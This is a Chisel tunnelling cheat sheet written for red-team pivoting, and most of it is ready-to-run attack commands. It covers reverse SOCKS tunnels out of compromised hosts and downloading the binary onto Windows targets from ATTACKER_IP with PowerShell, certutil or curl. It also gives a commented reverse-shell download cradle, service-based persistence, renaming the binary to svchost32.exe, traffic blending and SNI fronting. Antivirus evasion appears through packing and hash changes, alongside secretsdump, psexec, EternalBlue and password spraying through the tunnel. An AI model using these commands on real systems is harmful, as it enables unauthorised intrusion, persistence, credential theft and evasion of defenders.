Chisel Wiki

[Attacker Box]                          [Pivot / Compromised Host]
chisel server -p 8080 --reverse  <───  chisel client ATTACKER:8080 R:socks
        │                                        │
    SOCKS5 proxy                          Outbound HTTP
  127.0.0.1:1080                         (firewall-friendly)
        │
[Your tools: nmap, impacket, evil-winrm...]
   (via proxychains)
        │
   [Internal Network accessed via Pivot]

# Kali Linux (included by default)
sudo apt install chisel

# Or via the official install script (always grabs latest)
curl https://i.jpillora.com/chisel! | bash

# Precompiled binaries (recommended for target deployment)
# https://github.com/jpillora/chisel/releases
# Grab chisel_<version>_linux_amd64.gz or chisel_<version>_windows_amd64.gz

# Decompress Linux binary
gunzip chisel_1.11.7_linux_amd64.gz
chmod +x chisel_1.11.7_linux_amd64
mv chisel_1.11.7_linux_amd64 chisel

# Decompress Windows binary (Linux side)
gunzip chisel_1.11.7_windows_amd64.gz
mv chisel_1.11.7_windows_amd64 chisel.exe

# Build from source (requires Go >= 1.22)
git clone https://github.com/jpillora/chisel
cd chisel
go build -o chisel .

# Cross-compile for Windows (from Linux build machine)
GOOS=windows GOARCH=amd64 go build -o chisel.exe .

# Cross-compile for common pivot targets
GOOS=linux   GOARCH=amd64 go build -o chisel_linux_amd64   .
GOOS=linux   GOARCH=arm64 go build -o chisel_linux_arm64   .
GOOS=linux   GOARCH=386   go build -o chisel_linux_x86     .
GOOS=windows GOARCH=386   go build -o chisel_win_x86.exe   .
GOOS=darwin  GOARCH=amd64 go build -o chisel_darwin_amd64  .

# Docker
docker run --rm -it jpillora/chisel --help
docker run --rm -it jpillora/chisel server --socks5 --reverse -p 8080

# Fedora / RHEL
sudo dnf -y install chisel

# go install (always latest)
go install github.com/jpillora/chisel@latest

<local-host>:<local-port>:<remote-host>:<remote-port>/<protocol>

R:<local-interface>:<local-port>:<remote-host>:<remote-port>/<protocol>

# Forward Remotes (traffic flows: local → server → remote)
3000                          # 0.0.0.0:3000 → server's 0.0.0.0:3000 (tcp)
example.com:3000              # 0.0.0.0:3000 → example.com:3000
3000:google.com:80            # local:3000 → google.com:80
192.168.0.5:3000:google.com:80  # 192.168.0.5:3000 → google.com:80
1.1.1.1:53/udp               # UDP — local:53 → 1.1.1.1:53 via UDP
socks                         # SOCKS5 proxy on 127.0.0.1:1080 through server
5000:socks                   # SOCKS5 proxy on local:5000

# Reverse Remotes (R: prefix — server side listens, traffic flows back through client)
R:2222:localhost:22           # server:2222 → client's localhost:22 (SSH pivot)
R:3389:10.10.10.5:3389       # server:3389 → internal RDP host
R:socks                      # SOCKS5 on server's 127.0.0.1:1080, routed through client
R:5000:socks                 # SOCKS5 on server's :5000
R:1080:socks                 # explicit port for SOCKS5 reverse proxy

# stdio (for SSH ProxyCommand)
stdio:example.com:22         # connect stdin/stdout to example.com:22 via server

$ chisel server --help

Usage: chisel server [options]

Options:
  --host          HTTP listening host interface
                  (env: HOST, default: 0.0.0.0)

  --port, -p      HTTP listening port
                  (env: PORT, default: 8080)

  --key           DEPRECATED — use --keygen/--keyfile instead.
                  Seed string for ECDSA key generation.
                  (env: CHISEL_KEY)

  --keygen        Path to write a newly generated PEM-encoded SSH private key.
                  Use "-" to print to stdout.

  --keyfile       Path to PEM-encoded SSH private key (or inline base64 "ck-..." string).
                  Overrides --key. (env: CHISEL_KEY_FILE)

  --authfile      Path to users.json for client authentication.
                  File is hot-reloaded on change.

  --auth          Single user in the form "user:pass" (equivalent to authfile
                  with {"user:pass": [""]}). (env: AUTH)

  --keepalive     Keepalive interval (e.g. "25s", "2m"). Default: 25s.
                  Set to "0s" to disable.

  --backend       Proxy normal HTTP requests to this URL.
                  Hides chisel in plain sight on an existing web server.

  --socks5        Enable internal SOCKS5 proxy — clients can forward
                  "socks" remotes to it.

  --reverse       Allow clients to specify reverse port forwarding remotes (R:).
                  MUST be set for R:socks to work.

  --tls-key       Path to PEM TLS private key (enables TLS, requires --tls-cert).

  --tls-cert      Path to PEM TLS certificate (enables TLS, requires --tls-key).

  --tls-domain    Domain(s) for Let's Encrypt auto-cert (requires port 443).
                  Can be specified multiple times for multi-domain.

  --tls-ca        Path to PEM CA bundle for mutual-TLS client validation.

  --pid           Write PID file to current working directory.

  -v              Verbose logging.

  --help          Help text.

$ chisel client --help

Usage: chisel client [options] <server> <remote> [remote] [remote] ...

<server>  URL to the chisel server (http://IP:PORT or https://IP:PORT)

<remote>  One or more tunnel rules (see Remote Syntax section above)

Options:
  --fingerprint   SHA256 fingerprint of the server's public key for MITM protection.
                  Strongly recommended. Must be 44 chars ending in "=".
                  Mismatches close the connection immediately.

  --auth          Client credentials in the form "user:pass".
                  Compared against server's --authfile. (env: AUTH)

  --keepalive     Keepalive interval. Default: 25s. Set "0s" to disable.

  --max-retry-count     Max reconnect attempts before exiting. Default: unlimited.

  --max-retry-interval  Max wait between reconnect attempts. Default: 5 minutes.

  --min-retry-interval  Min wait between reconnect attempts (v1.12+). Default: 1s.

  --proxy         Upstream HTTP CONNECT or SOCKS5 proxy to reach the chisel server.
                  Format: http://user:pass@host:port
                          socks://user:pass@host:port
                          socks5://user:pass@host:port   (v1.12+)

  --header        Set a custom HTTP header. Can be repeated.
                  Example: --header "X-Forwarded-For: 1.2.3.4"
                           --header "Authorization: Bearer token123"

  --hostname      Override the HTTP Host header.

  --sni           Override TLS SNI hostname.

  --tls-ca        Path to PEM CA bundle for verifying the server's TLS cert.
                  Only applies to https:// connections.

  --tls-skip-verify   Skip server TLS certificate verification.
                      Only affects transport (wss) — server public key (SSH layer)
                      may still be verified via --fingerprint.

  --tls-key       PEM private key for mutual-TLS client authentication.

  --tls-cert      PEM certificate for mutual-TLS client authentication.

  --pid           Write PID file to current working directory.

  -v              Verbose logging.

  --help          Help text.

# Generate a new key and print to stdout (base64 "ck-..." format)
chisel server --keygen -

# Generate and save to file
chisel server --keygen /path/to/chisel.key

# Use a persistent key (same fingerprint across restarts)
chisel server --keyfile /path/to/chisel.key --port 8080 --reverse

# Inline base64 key (useful for single-command one-liners)
# The "ck-..." output of --keygen can be passed directly as --keyfile value
KEY=$(chisel server --keygen -)
chisel server --keyfile "$KEY" --port 8080 --reverse

# Server outputs on startup:
# 2024/10/01 10:00:00 server: Fingerprint abc123XYZ...=

# Pin fingerprint on client — strongly recommended
./chisel client --fingerprint 'abc123XYZ...=' http://10.10.14.5:8080 R:socks

# For labs/CTFs only — skip fingerprint verification (MITM risk!)
./chisel client http://10.10.14.5:8080 R:socks
# (no --fingerprint = accepts any key)

# Skip TLS cert AND fingerprint for quick lab work
./chisel client --tls-skip-verify https://10.10.14.5:8443 R:socks

# Server — single user with full access
chisel server --auth "operator:S3cretP@ss!" --reverse --socks5 -p 8080

# Client — authenticate
chisel client --auth "operator:S3cretP@ss!" http://10.10.14.5:8080 R:socks

{
  "operator:S3cretP@ss!": [""],
  "agent1:AgentPass123": ["^R:socks$", "^R:.*:.*:.*$"],
  "agent2:AgentPass456": ["^3000$"]
}

# Server loads authfile (hot-reloaded on file change — no restart needed)
chisel server --authfile /etc/chisel/users.json --reverse --socks5 -p 8080

# Client authenticates
chisel client --auth "agent1:AgentPass123" http://10.10.14.5:8080 R:socks

# 1) Let's Encrypt — automatic (needs port 443 and a real domain)
chisel server --tls-domain c2.example.com --port 443 --reverse

# Multiple domains
chisel server --tls-domain c2.example.com --tls-domain alt.example.com --port 443 --reverse

# Customize Let's Encrypt cache dir
CHISEL_LE_CACHE=/opt/chisel_le chisel server --tls-domain c2.example.com --port 443 --reverse

# 2) Your own cert/key pair (e.g. from Let's Encrypt certbot, or self-signed)
chisel server --tls-key /etc/letsencrypt/live/c2.example.com/privkey.pem \
              --tls-cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
              --port 443 --reverse

# 3) Mutual TLS (mTLS) — server validates client certs too
chisel server --tls-key server.key --tls-cert server.crt \
              --tls-ca client-ca.crt --reverse --port 8443

# Client connecting to TLS server
chisel client https://c2.example.com:443 R:socks
chisel client --fingerprint 'abc123...=' https://c2.example.com:443 R:socks

# Client with custom CA (for self-signed server cert)
chisel client --tls-ca /path/to/ca.crt https://c2.example.com:8443 R:socks

# Client with mTLS certificates
chisel client --tls-key client.key --tls-cert client.crt https://c2.example.com:8443 R:socks

# Labs only — skip TLS verification (MITM risk!)
chisel client --tls-skip-verify https://10.10.14.5:8443 R:socks

# --- SETUP ---
# Server (attacker box, no special flags needed for forward tunneling)
chisel server --port 8080

# --- FORWARD EXAMPLES ---

# Access port 80 on the server's localhost (e.g., internal web app)
chisel client http://10.10.14.5:8080 3000:localhost:80
# → browse http://localhost:3000 on your machine to hit the server's port 80

# Access a specific internal host:port via the server
chisel client http://10.10.14.5:8080 3389:10.10.10.50:3389
# → RDP to 127.0.0.1:3389 locally → hits 10.10.10.50:3389 through the server

# Bind on a specific local interface only
chisel client http://10.10.14.5:8080 127.0.0.1:8888:10.10.10.5:80

# Forward to an external host through the server
chisel client http://10.10.14.5:8080 3000:google.com:80

# Multiple forwards in one command
chisel client http://10.10.14.5:8080 \
  8080:10.10.10.50:80 \
  3389:10.10.10.50:3389 \
  5432:10.10.10.51:5432

# Server — enable reverse tunneling
chisel server --port 8080 --reverse

# --- REVERSE EXAMPLES ---

# Expose SSH on the pivot host to your attacker box (port 2222)
chisel client http://10.10.14.5:8080 R:2222:localhost:22
# → ssh -p 2222 user@127.0.0.1 on attacker → pivot host's SSH

# Expose RDP on an internal host to attacker box
chisel client http://10.10.14.5:8080 R:13389:10.10.10.50:3389
# → xfreerdp /v:127.0.0.1:13389 on attacker → hits internal RDP

# Expose multiple services at once
chisel client http://10.10.14.5:8080 \
  R:2222:localhost:22 \
  R:8080:10.10.10.50:80 \
  R:13389:10.10.10.51:3389

# Bind reverse on specific interface only (attacker side)
chisel client http://10.10.14.5:8080 R:127.0.0.1:2222:localhost:22

# Server (no special flag needed for forward SOCKS)
chisel server --socks5 --port 8080

# Client — creates SOCKS5 proxy on 127.0.0.1:1080 (default)
chisel client http://PIVOT_HOST:8080 socks

# Client — custom local port for SOCKS5
chisel client http://PIVOT_HOST:8080 5000:socks

# Test
curl --socks5 127.0.0.1:1080 http://internal.example.com

[Attacker Box]                      [Pivot Host]             [Internal Network]
chisel server                  chisel client                    192.168.1.0/24
  --reverse                    ATTACKER:8080                    (only reachable
  --port 8080  <── outbound ──  R:socks                          from pivot)
  SOCKS5 on
  127.0.0.1:1080
       │
  proxychains
       │
  [nmap, impacket, evil-winrm, etc.]

# 1. Attacker box — start server with reverse and socks5
chisel server --port 8080 --reverse --socks5

# 2. Pivot host — client connects back, creates reverse SOCKS
./chisel client http://ATTACKER_IP:8080 R:socks

# Result: 127.0.0.1:1080 on attacker is now a SOCKS5 proxy
#         routed through the pivot into the internal network

# Custom SOCKS port (if 1080 is in use)
./chisel client http://ATTACKER_IP:8080 R:1234:socks
# → SOCKS5 on attacker:1234

# Bind SOCKS on a specific interface only
./chisel client http://ATTACKER_IP:8080 R:127.0.0.1:1080:socks

# Server output (attacker box)
2024/10/01 10:00:01 server: Fingerprint abc123XYZ...=
2024/10/01 10:00:01 server: Listening on http://0.0.0.0:8080
2024/10/01 10:00:15 server: session#1: tun: SSH connected

# Client output (pivot host)
2024/10/01 10:00:15 client: Connecting to ws://ATTACKER_IP:8080
2024/10/01 10:00:15 client: tun: SSH connected
2024/10/01 10:00:15 client: tun: proxy#R:127.0.0.1:1080=>socks: Listening

# At the very bottom of the file, replace or add:
[ProxyList]
# Comment out any existing entries first:
#socks4 127.0.0.1 9050

# Add your Chisel SOCKS5 proxy:
socks5 127.0.0.1 1080

# If using a custom port:
# socks5 127.0.0.1 1234

# Quick connectivity test
proxychains curl http://192.168.1.1/
proxychains wget -q -O - http://10.10.10.50/

# Don't use ICMP (ping) — SOCKS is TCP only
# Use TCP-based checks instead:
proxychains nc -zv 192.168.1.10 80
proxychains curl -s --max-time 5 http://192.168.1.10/

# Quiet mode (less noise)
quiet_mode

# Dynamic chain — skips dead proxies in the chain (useful for chaining)
dynamic_chain

# Strict chain — fails if any proxy in chain fails
strict_chain

# DNS resolution through proxy (avoids DNS leaks)
proxy_dns

# Server
chisel server --port 8080

# Forward DNS through the server
chisel client http://PIVOT:8080 53:8.8.8.8:53/udp

# Test
dig @127.0.0.1 example.com

# Forward SNMP
chisel client http://PIVOT:8080 1161:10.10.10.1:161/udp

# Reverse UDP (pivot exposes UDP port to attacker)
chisel client http://ATTACKER:8080 R:5353:localhost:5353/udp

# Instead of setting up a port forward for SSH, use chisel as a jump proxy:
ssh -o ProxyCommand='chisel client http://CHISEL_SERVER stdio:%h:%p' user@internal.host

# With fingerprint pinning:
ssh -o ProxyCommand='chisel client --fingerprint abc123...= http://CHISEL_SERVER stdio:%h:%p' user@internal.host

# Add to ~/.ssh/config for convenience:
Host internal.host
    ProxyCommand chisel client http://CHISEL_SERVER stdio:%h:%p
    User myuser

[Attacker]         [Pivot 1 / DMZ]         [Pivot 2 / Internal]      [Deep Network]
chisel server  ←── chisel client        ←── chisel client              172.16.0.0/24
:8080 --rev         10.14.5:8080 R:socks   (via proxychains)
SOCKS:1080                                  10.14.5:8081 R:socks
                                           SOCKS:1081 (on attacker)

# Attacker box
chisel server --port 8080 --reverse --socks5

# Pivot 1 (compromised DMZ host)
./chisel client http://ATTACKER_IP:8080 R:socks
# → SOCKS5 on attacker 127.0.0.1:1080 → routes through Pivot 1

# Configure proxychains for hop 1
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf

# Attacker box — second server on a different port
chisel server --port 8081 --reverse --socks5

# Pivot 2 (accessible from Pivot 1's network)
# Run Chisel on Pivot 2 to connect back to attacker THROUGH Pivot 1's SOCKS proxy
# Deploy chisel to Pivot 2 first (via Pivot 1's access)

# On Pivot 2 — connect via Pivot 1's SOCKS proxy:
# (Pivot 2 must be configured to use Pivot 1's SOCKS, or use environment variable)
HTTPS_PROXY=socks5://PIVOT1_IP:some_port ./chisel client http://ATTACKER_IP:8081 R:socks
# OR use the built-in --proxy flag:
./chisel client --proxy socks://PIVOT1_IP:some_port http://ATTACKER_IP:8081 R:socks

# OR from attacker box: use proxychains to run a second chisel client (connecting through Pivot 1)
# This requires Pivot 2 to be reachable from Pivot 1
# First, set up a port forward to Pivot 2's management/pivot port
# Then use proxychains chisel from a second chisel instance running on Pivot 2

# Simpler multi-hop method (proxychains chisel on attacker, spawning through Pivot 1):
proxychains chisel client http://ATTACKER_IP:8081 R:1081:socks
# → Second SOCKS5 on attacker 127.0.0.1:1081 → routes through Pivot 2 via Pivot 1

# /etc/proxychains.conf or a second config file
[ProxyList]
socks5 127.0.0.1 1080    # Hop 1 — Pivot 1
socks5 127.0.0.1 1081    # Hop 2 — Pivot 2 (added for double pivot)

# Now reach the deep network
proxychains nmap -sT -Pn 172.16.0.0/24

# proxychains-hop1.conf — only first SOCKS
# proxychains-hop2.conf — both SOCKS entries (chain them)

proxychains4 -f proxychains-hop2.conf nmap -sT -Pn 172.16.0.50

server {
    listen 443 ssl;
    server_name c2.example.com;

    ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;

    location /tunnel/ {
        proxy_pass http://127.0.0.1:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_read_timeout 3600s;
        proxy_send_timeout 3600s;
    }

    # Normal web traffic goes to your actual backend
    location / {
        proxy_pass http://127.0.0.1:3000;
    }
}

# Server — bind on localhost only, Nginx fronts it
chisel server --port 8080 --reverse --keyfile /etc/chisel/chisel.key

# Client — connect to the public HTTPS endpoint
chisel client --fingerprint 'abc123...=' https://c2.example.com/tunnel/ R:socks

c2.example.com {
    reverse_proxy /tunnel/* localhost:8080 {
        header_up Upgrade {http.upgrade}
        header_up Connection "upgrade"
        transport http {
            versions h1
        }
    }
}

# Add custom headers to blend in or pass through proxies
chisel client \
  --header "X-Custom-Token: abc123" \
  --header "X-Forwarded-For: 8.8.8.8" \
  --hostname "legitimate.website.com" \
  http://ATTACKER:8080 R:socks

# Override SNI for TLS fronting
chisel client --sni cdn.cloudfront.net https://ATTACKER:443 R:socks

# Example — credentials via environment (avoids ps aux exposure)
export AUTH="operator:S3cretP@ss!"
chisel server --port 8080 --reverse --socks5

# On client
export AUTH="operator:S3cretP@ss!"
chisel client http://ATTACKER:8080 R:socks

# --- ATTACKER BOX ---
chisel server --port 8080 --reverse --socks5

# --- PIVOT HOST ---
# Upload chisel binary first (via HTTP server, SCP, SMB, etc.)
# python3 -m http.server 80 on attacker, then wget on pivot

# Linux pivot host
./chisel client http://ATTACKER_IP:8080 R:socks

# --- ATTACKER BOX: configure proxychains ---
sudo sed -i 's/^socks4.*//' /etc/proxychains.conf
echo "socks5 127.0.0.1 1080" | sudo tee -a /etc/proxychains.conf

# --- SCAN INTERNAL NETWORK ---
proxychains nmap -sT -Pn -p 22,80,443,445,3389,8080 192.168.1.0/24

# --- CONNECT TO INTERNAL SERVICES ---
proxychains evil-winrm -i 192.168.1.10 -u administrator -p 'Password123!'
proxychains ssh user@192.168.1.20
proxychains xfreerdp /v:192.168.1.30 /u:admin /p:'Password!'

# Attacker box
chisel server --port 8080 --reverse

# Pivot host — expose internal MSSQL to attacker
./chisel client http://ATTACKER_IP:8080 R:1433:10.10.10.50:1433

# Attacker — now connect to internal MSSQL directly
impacket-mssqlclient 'domain/user:pass@127.0.0.1'

# Expose internal web app
./chisel client http://ATTACKER_IP:8080 R:8888:10.10.10.50:8080
# → browse http://127.0.0.1:8888 on attacker to hit internal app

# Expose SMB for share enumeration
./chisel client http://ATTACKER_IP:8080 R:445:10.10.10.50:445
smbclient -L //127.0.0.1/ -U 'domain\user%password'

# Attacker box — listen for shell
nc -lvp 9001

# Attacker box — start chisel server
chisel server --port 8080 --reverse --socks5

# Pivot host — forward attacker's listener port
./chisel client http://ATTACKER_IP:8080 R:9001:127.0.0.1:9001
# Now anything connecting to PIVOT:9001 gets forwarded to attacker's nc on :9001

# Payload on internal host — connect to pivot's IP, not attacker's
# e.g., PowerShell reverse shell pointing to PIVOT_IP:9001
# IEX(New-Object Net.WebClient).DownloadString('http://PIVOT_IP:8000/Invoke-PowerShellTcp.ps1')

# Start Chisel SOCKS proxy first (reverse SOCKS on 127.0.0.1:1080)

# In msfconsole
msf6 > setg Proxies socks5:127.0.0.1:1080
msf6 > setg ReverseAllowProxy true

# Route internal subnet through proxy
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run

# EternalBlue through proxy
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.50
msf6 > set LHOST ATTACKER_IP   # set to your IP, MSF handles routing
msf6 > run

# Generate and save a key (persistent fingerprint)
chisel server --keygen /opt/chisel/c2.key
# Output: ck-abc123... (save this fingerprint)

# Start server with auth and persistent key
chisel server \
  --keyfile /opt/chisel/c2.key \
  --authfile /opt/chisel/users.json \
  --reverse --socks5 \
  --port 443 \
  --tls-key /etc/letsencrypt/live/c2.example.com/privkey.pem \
  --tls-cert /etc/letsencrypt/live/c2.example.com/fullchain.pem

# users.json
cat /opt/chisel/users.json
# {
#   "operator:S3cret!": [""],
#   "agent:AgentPass": ["R:socks", "R:.*"]
# }

# Client (pivot)
./chisel client \
  --auth "agent:AgentPass" \
  --fingerprint 'abc123...=' \
  https://c2.example.com:443 R:socks

# --- NETWORK SCANNING ---
# nmap — must use TCP connect scan (-sT), no raw packets through SOCKS
# -Pn to skip ICMP ping (ICMP doesn't work through SOCKS)
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains nmap -sT -Pn -sV -p 80,443,22,445,3389 192.168.1.10

# --- AUTHENTICATION ATTACKS ---
proxychains crackmapexec smb 192.168.1.0/24 -u user -p password
proxychains netexec smb 192.168.1.0/24 -u user -H 'NTHASH'
proxychains hydra -L users.txt -P passwords.txt 192.168.1.10 ssh

# --- SMB ---
proxychains smbclient -L //192.168.1.10/ -U 'domain\user%pass'
proxychains smbmap -H 192.168.1.10 -u user -p pass -d domain

# --- WINRM ---
proxychains evil-winrm -i 192.168.1.10 -u administrator -p 'Password123!'
proxychains evil-winrm -i 192.168.1.10 -u administrator -H 'NTHASH'

# --- RDP ---
proxychains xfreerdp /v:192.168.1.10 /u:administrator /p:'Password!'
proxychains rdesktop 192.168.1.10

# --- SSH ---
proxychains ssh user@192.168.1.20

# --- WEB ---
proxychains curl http://192.168.1.10:8080/admin
proxychains wget -O output.html http://192.168.1.50/
proxychains gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.txt

# --- KERBEROS / ACTIVE DIRECTORY ---
proxychains impacket-GetUserSPNs 'domain.local/user:pass' -dc-ip 192.168.1.1 -request
proxychains impacket-secretsdump 'domain.local/admin:pass@192.168.1.10'
proxychains impacket-psexec 'domain.local/admin:pass@192.168.1.10'
proxychains impacket-wmiexec 'domain.local/admin:pass@192.168.1.10'
proxychains bloodhound-python -u user -p pass -d domain.local -ns 192.168.1.1 -c all

# --- LDAP ---
proxychains ldapsearch -x -H ldap://192.168.1.1 -b "dc=domain,dc=local"

# --- BURP SUITE ---
# Set Burp's upstream proxy to SOCKS5:
# Proxy → Options → SOCKS Proxy → 127.0.0.1:1080

# Attacker: serve binary
python3 -m http.server 80

# Windows target: download
# PowerShell
(New-Object Net.WebClient).DownloadFile("http://ATTACKER_IP/chisel.exe", "C:\Users\Public\chisel.exe")

# Alternative: curl (Windows 10+)
curl.exe -o C:\Users\Public\chisel.exe http://ATTACKER_IP/chisel.exe

# Alternative: certutil
certutil -urlcache -split -f http://ATTACKER_IP/chisel.exe C:\Users\Public\chisel.exe

# Basic reverse SOCKS
C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:socks

# With authentication
C:\Users\Public\chisel.exe client --auth "agent:pass" http://ATTACKER_IP:8080 R:socks

# Background it (cmd.exe)
start /B C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:socks

# PowerShell background job
Start-Job { C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:socks }

# As a service (advanced persistence — needs admin)
sc create ChiselSvc binPath= "C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:socks" start= auto
sc start ChiselSvc

# Rename binary to blend in
copy chisel.exe svchost32.exe

# Expose internal SMB to attacker
C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:445:INTERNAL_HOST:445

# Expose WMI
C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:135:INTERNAL_HOST:135

# Server doubles as legitimate reverse proxy — traffic blends with normal web
chisel server --port 443 --reverse --socks5 \
  --tls-key privkey.pem --tls-cert fullchain.pem \
  --backend http://real-website.com

# Client — looks like a browser hitting a normal HTTPS site
./chisel client \
  --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  --header "Accept: text/html,application/xhtml+xml,application/xml" \
  --hostname "real-website.com" \
  https://ATTACKER_IP:443 R:socks

# Strip debug info to reduce binary size and change hash
go build -ldflags="-s -w" -o chisel_stripped .

# Custom compile with changed version string
# Edit main.go or use ldflags to inject
go build -ldflags="-s -w -X main.version=1.0.0" -o update.exe .

# UPX pack (changes hash, may trigger some AVs)
upx --best chisel.exe -o chisel_packed.exe

# Minimal — reverse SOCKS pivot
chisel server --port 8080 --reverse --socks5

# With auth
chisel server --port 8080 --reverse --socks5 --auth "user:pass"

# With TLS
chisel server --port 443 --reverse --socks5 \
  --tls-key privkey.pem --tls-cert fullchain.pem

# With Let's Encrypt
chisel server --port 443 --reverse --socks5 --tls-domain c2.example.com

# Blending with web traffic
chisel server --port 443 --reverse --socks5 --backend http://example.com \
  --tls-key privkey.pem --tls-cert fullchain.pem

# Persistent key
chisel server --keyfile chisel.key --port 8080 --reverse --socks5

# Reverse SOCKS — most common red team use
./chisel client http://ATTACKER:8080 R:socks

# Custom port
./chisel client http://ATTACKER:8080 R:1234:socks

# With auth
./chisel client --auth "user:pass" http://ATTACKER:8080 R:socks

# With fingerprint
./chisel client --fingerprint 'abc...=' http://ATTACKER:8080 R:socks

# HTTPS
./chisel client https://ATTACKER:443 R:socks
./chisel client --tls-skip-verify https://ATTACKER:443 R:socks

# Through an existing proxy (SOCKS chain)
./chisel client --proxy socks://PIVOT1:1080 http://ATTACKER:8081 R:socks

# Persistent reconnect
./chisel client --max-retry-count 0 http://ATTACKER:8080 R:socks

# Windows
.\chisel.exe client http://ATTACKER:8080 R:socks

# Forward (client opens local port)
PORT                          # 0.0.0.0:PORT → server's PORT
LPORT:RHOST:RPORT            # local:LPORT → RHOST:RPORT via server
socks                         # SOCKS5 on 127.0.0.1:1080
5000:socks                   # SOCKS5 on 127.0.0.1:5000

# Reverse (server opens port, routes through client)
R:PORT:localhost:PORT         # server:PORT → client's localhost:PORT
R:PORT:RHOST:RPORT           # server:PORT → RHOST:RPORT via client
R:socks                      # SOCKS5 on server's 127.0.0.1:1080
R:5000:socks                 # SOCKS5 on server's :5000

# UDP
LPORT:RHOST:RPORT/udp        # forward UDP
R:LPORT:localhost:RPORT/udp  # reverse UDP

# stdio
stdio:HOST:PORT               # SSH ProxyCommand

[ProxyList]
socks5 127.0.0.1 1080

proxychains nmap -sT -Pn -p- INTERNAL_HOST
proxychains nmap -sT -Pn -sV -p 22,80,443,445,3389 192.168.1.0/24
proxychains evil-winrm -i INTERNAL_HOST -u admin -p pass
proxychains xfreerdp /v:INTERNAL_HOST /u:admin /p:pass
proxychains ssh user@INTERNAL_HOST
proxychains impacket-secretsdump domain/admin:pass@INTERNAL_HOST
proxychains netexec smb INTERNAL_HOST -u user -p pass
proxychains curl http://INTERNAL_HOST:8080/

# Generate persistent key
chisel server --keygen /opt/chisel.key

# Start with persistent key (same fingerprint across restarts)
chisel server --keyfile /opt/chisel.key --port 8080 --reverse --socks5

# Get fingerprint from running server
# → printed on server startup to stdout

# Hop 1 — Attacker
chisel server --port 8080 --reverse --socks5
# → SOCKS5 on 127.0.0.1:1080

# Pivot 1
./chisel client http://ATTACKER:8080 R:socks

# Hop 2 — Attacker (second server on different port)
chisel server --port 8081 --reverse --socks5
# → SOCKS5 on 127.0.0.1:1081

# Pivot 2 (reached via Pivot 1's SOCKS)
./chisel client --proxy socks://PIVOT1_IP:SOCKS_PORT http://ATTACKER:8081 R:socks

# proxychains for deep network
# [ProxyList]
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081
proxychains nmap -sT -Pn 172.16.0.0/24